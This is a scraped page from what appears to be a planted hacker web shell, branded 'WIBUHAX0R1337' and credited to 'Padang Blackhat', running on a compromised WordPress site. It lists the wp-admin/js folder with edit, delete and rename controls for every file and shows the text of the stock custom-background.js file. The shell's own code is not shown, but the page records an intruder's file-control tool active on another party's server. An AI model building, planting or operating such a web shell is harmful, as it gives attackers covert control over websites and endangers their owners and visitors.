-
WIBUHAX0R1337
-
/
home
/
cideo
/
sainchargny
/
wp-admin
/
js
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
widgets
--
NONE
accordion.js
2.85KB
Edit File
Delete File
Rename
accordion.min.js
0.815KB
Edit File
Delete File
Rename
code-editor.js
11.179KB
Edit File
Delete File
Rename
code-editor.min.js
3.095KB
Edit File
Delete File
Rename
color-picker.js
9.954KB
Edit File
Delete File
Rename
color-picker.min.js
3.438KB
Edit File
Delete File
Rename
comment.js
2.723KB
Edit File
Delete File
Rename
comment.min.js
1.218KB
Edit File
Delete File
Rename
common.min.js
15.06KB
Edit File
Delete File
Rename
custom-background.js
3.285KB
Edit File
Delete File
Rename
customize-controls.js
282.27KB
Edit File
Delete File
Rename
customize-controls.min.js
109.172KB
Edit File
Delete File
Rename
customize-nav-menus.js
104.909KB
Edit File
Delete File
Rename
customize-nav-menus.min.js
45.419KB
Edit File
Delete File
Rename
customize-widgets.js
68.702KB
Edit File
Delete File
Rename
customize-widgets.min.js
27.724KB
Edit File
Delete File
Rename
dashboard.js
16.196KB
Edit File
Delete File
Rename
dashboard.min.js
6.901KB
Edit File
Delete File
Rename
edit-comments.js
27.301KB
Edit File
Delete File
Rename
edit-comments.min.js
14.586KB
Edit File
Delete File
Rename
editor.js
44.335KB
Edit File
Delete File
Rename
editor.min.js
13.103KB
Edit File
Delete File
Rename
farbtastic.js
7.509KB
Edit File
Delete File
Rename
image-edit.js
27.807KB
Edit File
Delete File
Rename
image-edit.min.js
9.525KB
Edit File
Delete File
Rename
inline-edit-post.js
16.033KB
Edit File
Delete File
Rename
inline-edit-tax.js
7.415KB
Edit File
Delete File
Rename
inline-edit-tax.min.js
2.749KB
Edit File
Delete File
Rename
iris.min.js
23.055KB
Edit File
Delete File
Rename
language-chooser.js
0.61KB
Edit File
Delete File
Rename
language-chooser.min.js
0.365KB
Edit File
Delete File
Rename
media-gallery.js
1.151KB
Edit File
Delete File
Rename
media-gallery.min.js
0.524KB
Edit File
Delete File
Rename
media-upload.min.js
1.126KB
Edit File
Delete File
Rename
media.js
5.116KB
Edit File
Delete File
Rename
media.min.js
1.83KB
Edit File
Delete File
Rename
nav-menu.js
41.266KB
Edit File
Delete File
Rename
nav-menu.min.js
20.628KB
Edit File
Delete File
Rename
plugin-install.js
6.8KB
Edit File
Delete File
Rename
plugin-install.min.js
2.346KB
Edit File
Delete File
Rename
post.js
36.533KB
Edit File
Delete File
Rename
postbox.js
11.629KB
Edit File
Delete File
Rename
set-post-thumbnail.min.js
0.513KB
Edit File
Delete File
Rename
tags-box.js
6.726KB
Edit File
Delete File
Rename
tags-box.min.js
3.089KB
Edit File
Delete File
Rename
tags-suggest.js
5.072KB
Edit File
Delete File
Rename
tags-suggest.min.js
2.122KB
Edit File
Delete File
Rename
tags.js
4.377KB
Edit File
Delete File
Rename
tags.min.js
1.671KB
Edit File
Delete File
Rename
theme-plugin-editor.js
23.664KB
Edit File
Delete File
Rename
theme-plugin-editor.min.js
10.848KB
Edit File
Delete File
Rename
theme.js
53.09KB
Edit File
Delete File
Rename
theme.min.js
26.053KB
Edit File
Delete File
Rename
updates.js
79.173KB
Edit File
Delete File
Rename
updates.min.js
34.91KB
Edit File
Delete File
Rename
user-profile.js
12.22KB
Edit File
Delete File
Rename
user-profile.min.js
6.21KB
Edit File
Delete File
Rename
user-suggest.js
1.045KB
Edit File
Delete File
Rename
widgets.js
21.502KB
Edit File
Delete File
Rename
widgets.min.js
11.856KB
Edit File
Delete File
Rename
word-count.min.js
1.473KB
Edit File
Delete File
Rename
wp-fullscreen-stub.js
0.668KB
Edit File
Delete File
Rename
xfn.min.js
3.422KB
Edit File
Delete File
Rename
/* global ajaxurl */ /** * @summary Registers all events for customizing the background. * * @since 3.0.0 * * @requires jQuery */ (function($) { $(document).ready(function() { var frame, bgImage = $( '#custom-background-image' ); /** * @summary Instantiates the WordPress color picker and binds the change and clear events. * * @since 3.5.0 * * @returns {void} */ $('#background-color').wpColorPicker({ change: function( event, ui ) { bgImage.css('background-color', ui.color.toString()); }, clear: function() { bgImage.css('background-color', ''); } }); /** * @summary Alters the background size CSS property whenever the background size input has changed. * * @since 4.7.0 * * @returns {void} */ $( 'select[name="background-size"]' ).change( function() { bgImage.css( 'background-size', $( this ).val() ); }); /** * @summary Alters the background position CSS property whenever the background position input has changed. * * @since 4.7.0 * * @returns {void} */ $( 'input[name="background-position"]' ).change( function() { bgImage.css( 'background-position', $( this ).val() ); }); /** * @summary Alters the background repeat CSS property whenever the background repeat input has changed. * * @since 3.0.0 * * @returns {void} */ $( 'input[name="background-repeat"]' ).change( function() { bgImage.css( 'background-repeat', $( this ).is( ':checked' ) ? 'repeat' : 'no-repeat' ); }); /** * @summary Alters the background attachment CSS property whenever the background attachment input has changed. * * @since 4.7.0 * * @returns {void} */ $( 'input[name="background-attachment"]' ).change( function() { bgImage.css( 'background-attachment', $( this ).is( ':checked' ) ? 'scroll' : 'fixed' ); }); /** * @summary Binds the event for opening the WP Media dialog. * * @since 3.5.0 * * @returns {void} */ $('#choose-from-library-link').click( function( event ) { var $el = $(this); event.preventDefault(); // If the media frame already exists, reopen it. if ( frame ) { frame.open(); return; } // Create the media frame. frame = wp.media.frames.customBackground = wp.media({ // Set the title of the modal. title: $el.data('choose'), // Tell the modal to show only images. library: { type: 'image' }, // Customize the submit button. button: { // Set the text of the button. text: $el.data('update'), /* * Tell the button not to close the modal, since we're * going to refresh the page when the image is selected. */ close: false } }); /** * @summary When an image is selected, run a callback. * * @since 3.5.0 * * @returns {void} */ frame.on( 'select', function() { // Grab the selected attachment. var attachment = frame.state().get('selection').first(); // Run an AJAX request to set the background image. $.post( ajaxurl, { action: 'set-background-image', attachment_id: attachment.id, size: 'full' }).done( function() { // When the request completes, reload the window. window.location.reload(); }); }); // Finally, open the modal. frame.open(); }); }); })(jQuery);
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat